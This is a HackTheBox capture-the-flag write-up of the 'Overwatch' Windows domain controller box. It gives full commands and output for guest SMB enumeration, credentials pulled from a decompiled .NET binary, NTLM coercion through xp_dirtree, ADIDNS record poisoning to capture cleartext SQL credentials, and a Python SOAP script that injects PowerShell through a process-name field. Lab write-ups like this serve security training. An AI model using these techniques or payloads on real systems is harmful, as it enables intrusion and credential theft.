File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 05 · Filed 27 Jan 2026 · HackTheBox · 4 min read

Overwatch

Rooted

Unusual attack vector with ADIDNS poisoning


Evidence photo — case 05
This machine involved a very cool and unusal attack vector that literally made me stay up all night working on it and it was as difficult to identify as it was to exploit.
Bash
PORT      STATE SERVICE    VERSION
53/tcp    open  tcpwrapped
88/tcp    open  tcpwrapped
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
464/tcp   open  tcpwrapped
593/tcp   open  tcpwrapped
636/tcp   open  tcpwrapped
3269/tcp  open  tcpwrapped
3389/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
6520/tcp  open  tcpwrapped
9389/tcp  open  tcpwrapped
49664/tcp open  tcpwrapped
52108/tcp open  tcpwrapped
55035/tcp open  tcpwrapped
63947/tcp open  tcpwrapped
63987/tcp open  tcpwrapped

The 6520 port turned out to be a mssql server, for some reason nmap couldn't fingerprint the service. We have open dns port alongside kerberos and ldap which confirms that we are dealing with Windows Active Directory. I ran some scans on the host and found out that the hostname we are dealing with is s200401.overwatch.htb which is the domain controller judging from the nmap output that we got. Since this box isn't an assume-breach box and there are no credentials, we have to anonymously enumerate the services that are accessible to us.I personally used guest authentication to enumerate certain services.
Bash
[Jan 27, 2026 - 11:17:02 (CET)] exegol-D3xt3R overwatch # nxc smb 10.129.101.152 -u '.' -p  '' --shares
SMB         10.129.101.152  445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False) 
SMB         10.129.101.152  445    S200401          [+] overwatch.htb\.: (Guest)
SMB         10.129.101.152  445    S200401          [*] Enumerated shares
SMB         10.129.101.152  445    S200401          Share           Permissions     Remark
SMB         10.129.101.152  445    S200401          -----           -----------     ------
SMB         10.129.101.152  445    S200401          ADMIN$                          Remote Admin
SMB         10.129.101.152  445    S200401          C$                              Default share
SMB         10.129.101.152  445    S200401          IPC$            READ            Remote IPC
SMB         10.129.101.152  445    S200401          NETLOGON                        Logon server share 
SMB         10.129.101.152  445    S200401          software$       READ            
SMB         10.129.101.152  445    S200401          SYSVOL                          Logon server share 

I like to use netexec because it shows permissions to available shares which makes enumeration easier. We can see that we have read access on a non-default share software$ We can also use smbclient with guest user as well, NULL sessions didn't work by the way for both approaches.
Bash
[Jan 24, 2026 - 20:57:52 (CET)] exegol-D3xt3R overwatch # smbclient  -U "." -N -L  \\overwatch.htb

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	software$       Disk      
	SYSVOL          Disk      Logon server share 
After this I connected to the available share using smbclient to see what the share had available.
Bash
[Jan 27, 2026 - 13:50:32 (CET)] exegol-D3xt3R overwatch # smbclient -U "." -N \\\\overwatch.htb\\software$
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DH        0  Sat May 17 02:27:07 2025
  ..                                DHS        0  Thu Jan  1 07:46:47 2026
  Monitoring                         DH        0  Sat May 17 02:32:43 2025
cd M
		7147007 blocks of size 4096. 1788902 blocks available
smb: \> cd Monitoring 
smb: \Monitoring\> ls
  .                                  DH        0  Sat May 17 02:32:43 2025
  ..                                 DH        0  Sat May 17 02:27:07 2025
  EntityFramework.dll                AH  4991352  Thu Apr 16 21:38:42 2020
  EntityFramework.SqlServer.dll      AH   591752  Thu Apr 16 21:38:56 2020
  EntityFramework.SqlServer.xml      AH   163193  Thu Apr 16 21:38:56 2020
  EntityFramework.xml                AH  3738289  Thu Apr 16 21:38:40 2020
  Microsoft.Management.Infrastructure.dll     AH    36864  Mon Jul 17 15:46:10 2017
  overwatch.exe                      AH     9728  Sat May 17 02:19:24 2025
  overwatch.exe.config               AH     2163  Sat May 17 02:02:30 2025
  overwatch.pdb                      AH    30208  Sat May 17 02:19:24 2025
  System.Data.SQLite.dll             AH   450232  Sun Sep 29 21:41:18 2024
  System.Data.SQLite.EF6.dll         AH   206520  Sun Sep 29 21:40:06 2024
  System.Data.SQLite.Linq.dll        AH   206520  Sun Sep 29 21:40:42 2024
  System.Data.SQLite.xml             AH  1245480  Sat Sep 28 19:48:00 2024
  System.Management.Automation.dll     AH   360448  Mon Jul 17 15:46:10 2017
  System.Management.Automation.xml     AH  7145771  Mon Jul 17 15:46:10 2017
  x64                                DH        0  Sat May 17 02:32:33 2025
  x86                                DH        0  Sat May 17 02:32:33 2025
^L
		7147007 blocks of size 4096. 1788902 blocks available


I found this Monitoring directory that held an internal project that ran on the domain controller on port 8000. I found out that the executable was a .NET assembly.
Bash
overwatch.exe: PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows, 2 sections
I used ilspycmd to decompile the assembly and got credentials to a mssql service account.
Csharp
	private static void CheckEdgeHistory(object sender, ElapsedEventArgs e)
	{
		//IL_002e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Expected O, but got Unknown
		//IL_003a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0040: Expected O, but got Unknown
		//IL_0057: Unknown result type (might be due to invalid IL or missing references)
		//IL_005e: Expected O, but got Unknown
		//IL_006c: Unknown result type (might be due to invalid IL or missing references)
		string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\History");
		if (!File.Exists(text))
		{
			return;
		}
		string tempFileName = Path.GetTempFileName();
		File.Copy(text, tempFileName, overwrite: true);
		try
		{
			SqlConnection val = new SqlConnection("Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;");
			try
			{
				((DbConnection)(object)val).Open();
				SqlCommand val2 = new SqlCommand();
				try
				{
					val2.Connection = val;
					SQLiteConnection val3 = new SQLiteConnection("Data Source=" + tempFileName + ";Version=3;");
					((DbConnection)(object)val3).Open();
					SQLiteDataReader val4 = new SQLiteCommand("SELECT url, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5", val3).ExecuteReader();
					while (((DbDataReader)(object)val4).Read())
					{
						string text2 = ((DbDataReader)(object)val4)["url"].ToString();
						string commandText = "INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), 'URLVisit', '" + text2 + "')";
						((DbCommand)(object)val2).CommandText = commandText;
						((DbCommand)(object)val2).ExecuteNonQuery();
					}
					((DbConnection)(object)val3).Close();
				}
				finally
				{
					((IDisposable)val2)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
		}
		catch
		{
		}
		finally
		{
			File.Delete(tempFileName);
		}
	}

sqlsvc:TI0LKcfHzZw1Vv Let's try to authenticate to the domain controller to see if they're valid.
Bash
[Jan 27, 2026 - 15:50:12 (CET)] exegol-D3xt3R overwatch # nxc smb overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv --no-bruteforce
SMB         10.129.101.152  445    S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False) 
SMB         10.129.101.152  445    S200401          [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv 

We got authenticated to the domain so the credentials are valid. I gathered a user wordlist to try password spraying with the one we got, but it turned out to be pointless.
Bash
[Jan 24, 2026 - 21:26:26 (CET)] exegol-D3xt3R overwatch # nxc smb overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv --rid-brute
SMB         10.129.73.37    445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False) 
SMB         10.129.73.37    445    S200401          [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv 
SMB         10.129.73.37    445    S200401          498: OVERWATCH\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.73.37    445    S200401          500: OVERWATCH\Administrator (SidTypeUser)
SMB         10.129.73.37    445    S200401          501: OVERWATCH\Guest (SidTypeUser)
SMB         10.129.73.37    445    S200401          502: OVERWATCH\krbtgt (SidTypeUser)
SMB         10.129.73.37    445    S200401          512: OVERWATCH\Domain Admins (SidTypeGroup)
SMB         10.129.73.37    445    S200401          513: OVERWATCH\Domain Users (SidTypeGroup)
...
I created a wordlist from this output and tried password spraying against it, but no matches.
Bash
[Jan 28, 2026 - 12:36:43 (CET)] exegol-D3xt3R overwatch # nxc smb overwatch.htb -u users.txt -p TI0LKcfHzZw1Vv --continue-on-success                 

I tried to connect to the mssql service on port 6520 with the credentials.
Bash
[Jan 24, 2026 - 23:56:48 (CET)] exegol-D3xt3R overwatch # mssqlclient.py s200401.overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@overwatch.htb -windows-auth -port 6520  
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> 

I got authenticated successfully and started enumeration. I got the hash for the host that I was authenticated to see if I can use it in PtH techniques. I ran the following query in the mssqlclient after setting up responder on my machine.
Bash
SQL (OVERWATCH\sqlsvc  guest@msdb)> exec master..xp_dirtree '\\IP\share';
I captured the machine account hash, the mssql service must be running as SYSTEM in the domain controller but there isn't a lot we can do, because the hash we captured is a NTMLV2 hash.
Bash
S200401$::OVERWATCH:1122334455667788:FBC57B28538D0CCCFB50DB5CE999A2A2:010100000000000080DABC898E8DDC01EB7F62D15A9B162700000000020008004E00560056004F0001001E00570049004E002D005A00460048003800560056004500570058005300340004003400570049004E002D005A0046004800380056005600450057005800530034002E004E00560056004F002E004C004F00430041004C00030014004E00560056004F002E004C004F00430041004C00050014004E00560056004F002E004C004F00430041004C000700080080DABC898E8DDC0106000400020000000800300030000000000000000000000000300000EA9D3ECAA639D55B57C2608AAF48985E352955AE0BFFAB71F8E2CEA962D2B36B0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310036002E003200310038000000000000000000
Upon enumerating linked servers I stumbled upon something interesting.
Bash
SQL (OVERWATCH\sqlsvc  guest@msdb)> enum_links
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      

I found two linked servers. The first one is hosted in the same host that we are authenticated to. When I try to use use_link on SQL07 in mssqlclient.py the connection gets timed out, so either the host is unreachable or under maintenance. This could be a perfect opportunity to poison the dns cache. I ran nslookup to confirm that the SQL07 host doesn't exist in the domain.
Bash
[Jan 28, 2026 - 20:29:54 (CET)] exegol-D3xt3R overwatch # dig @10.129.6.193 SQL07.overwatch.htb

; <<>> DiG 9.18.41-1~deb12u1-Debian <<>> @10.129.6.193 SQL07.overwatch.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47588
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;SQL07.overwatch.htb.		IN	A

;; AUTHORITY SECTION:
overwatch.htb.		3600	IN	SOA	s200401.overwatch.htb. hostmaster.overwatch.htb. 216 900 600 86400 3600

;; Query time: 316 msec
;; SERVER: 10.129.6.193#53(10.129.6.193) (UDP)
;; WHEN: Wed Jan 28 20:31:02 CET 2026
;; MSG SIZE  rcvd: 116



https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/adidns-spoofing With misconfigurated ACLs, authenticated users within Active Directory can be allowed to modify the dns records in ADIDNS. We can confirm that by running blooyAD with the sqlsvc user to get all writable objects in the domain.
Zsh
bloodyAD --host S200401.overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD
We can abuse the CREATE_CHILD permissions to poison the ADIDNS since a linked server is out of range, or out of service temporarly we can overwrite the ip for that server to match our attacker machine. I used dnstool to accomplish that.
Bash
[Jan 28, 2026 - 20:32:37 (CET)] exegol-D3xt3R overwatch # dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' -r 'SQL07' -a add -d LOCAL_IP 10.129.6.193            
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

We can see that our entry was added we can check with dig again to see if the domain controller can identify the new host.
Bash
[Jan 28, 2026 - 20:33:01 (CET)] exegol-D3xt3R overwatch # dig @10.129.6.193 SQL07.overwatch.htb                                                                  

; <<>> DiG 9.18.41-1~deb12u1-Debian <<>> @10.129.6.193 SQL07.overwatch.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28476
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;SQL07.overwatch.htb.		IN	A

;; ANSWER SECTION:
SQL07.overwatch.htb.	180	IN	A	LOCAL_IP

;; Query time: 490 msec
;; SERVER: 10.129.6.193#53(10.129.6.193) (UDP)
;; WHEN: Wed Jan 28 20:33:37 CET 2026
;; MSG SIZE  rcvd: 64


And it's confirmed that we have changed the ADIDNS record, so now if run a query on the linked server, we should get credentials.
Bash
[MSSQL] Cleartext Client   : 10.129.6.193
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx


I fell down the rabbit hole, because I didn't understand why we got hardcoded credentials rather than a hash value. I just wanted to understand what went down. I really don't know if any of this is valid, it's predicting the configuration for the box after all. Upon understanding what the role of this user was and how we managed to get harcoded credentials for it, I first connect to the mssql server as the user we just captured creds to. After a little digging around I found this.
Bash
SQL (OVERWATCH\sqlmgmt  guest@master)> enum_links
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      
Linked Server   Local Login         Is Self Mapping   Remote Login   
-------------   -----------------   ---------------   ------------   
SQL07           OVERWATCH\sqlmgmt                 1   NULL     
When the user sqlmgmt authenticates to the linked server SQL07, the domain doesn't change their identity and connects it as the same user, which is concluded from the Is Self Mapping value of 1. And for any other user, the domain controller is configured to send the linked server the hard coded credentials for the sqlmgmt. That's the most logical answer that I found. Moving on.
Bash
[Jan 28, 2026 - 21:14:43 (CET)] exegol-D3xt3R overwatch # evil-winrm -i overwatch.htb -u sqlmgmt  -p bIhBbzMMnB82yx 
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt

We can connect to the domain controller using evil-winrm to get the flag. Remember the source code for the application we found running earlier. Well, it turned out that their is a web application running on port 8000 as it was mentioned in the source code. I found the Microsoft.Active.Directory service running and process listening on port 8000.
Powershell
647      31    35588      45200              2884   0 Microsoft.ActiveDirectory.WebServices
    
The service was running as system. I used chisel to port forward the application running on port 8000 and here is what I got.
This turned out to be a WCF( Windows Communication Foundation ) service, which is a .NET framework used to build service-oriented APIs. It was running as SYSTEM.
I finally used this script to get the root flag
Python
import requests

# 1. SETUP
URL = "http://127.0.0.1:8000/MonitorService"

# 2. THE PAYLOAD
# BREAKDOWN:
# "dummy"       -> The first command (Stop-Process -Name dummy). This will fail, but PS continues.
# ";"           -> The PowerShell command separator (instead of &).
# "$f=..."      -> Read the flag into variable $f.
# "throw $f"    -> Throw the flag as a fake error. The service catches it and prints it to you!
# "#"           -> Comment out the trailing "-Force" so the script doesn't crash.
CMD = r"dummy; $f=Get-Content C:\Users\Administrator\Desktop\root.txt; throw $f; #"

payload = f"""<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>{CMD}</processName>
    </KillProcess>
  </s:Body>
</s:Envelope>"""

# 3. HEADERS
headers = {
    'Content-Type': 'text/xml; charset=utf-8',
    'SOAPAction': "http://tempuri.org/IMonitoringService/KillProcess"
}

print("[*] Sending PowerShell Payload (Error-Based Reflection)...")
print(f"[*] Injection: {CMD}")

try:
    response = requests.post(URL, data=payload, headers=headers)

    print(f"[*] Status Code: {response.status_code}")
    print("-" * 30)
    print("RESPONSE BODY:")
    # The flag will be inside the <KillProcessResult> tag
    print(response.text)
    print("-" * 30)

except Exception as e:
    print(f"[!] Connection Error: {e}")

As always, Happy Pwning :)
§ Contents